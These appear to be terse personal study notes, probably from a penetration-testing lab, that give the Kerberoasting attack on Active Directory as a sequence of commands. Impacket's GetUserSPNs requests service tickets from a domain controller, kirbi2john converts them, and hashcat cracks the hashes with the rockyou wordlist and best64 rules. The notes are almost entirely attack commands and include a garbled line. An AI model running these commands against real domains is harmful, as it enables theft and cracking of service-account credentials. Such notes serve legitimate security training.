Using Impacket
- sudo impacket-GetUserSPNs -request -dc-ip <ip> <domain>/<user>
sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70
corp.com/pete
it will SPN
- it will ask for password then
- kirbi2john <file> >hash
- sudo hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force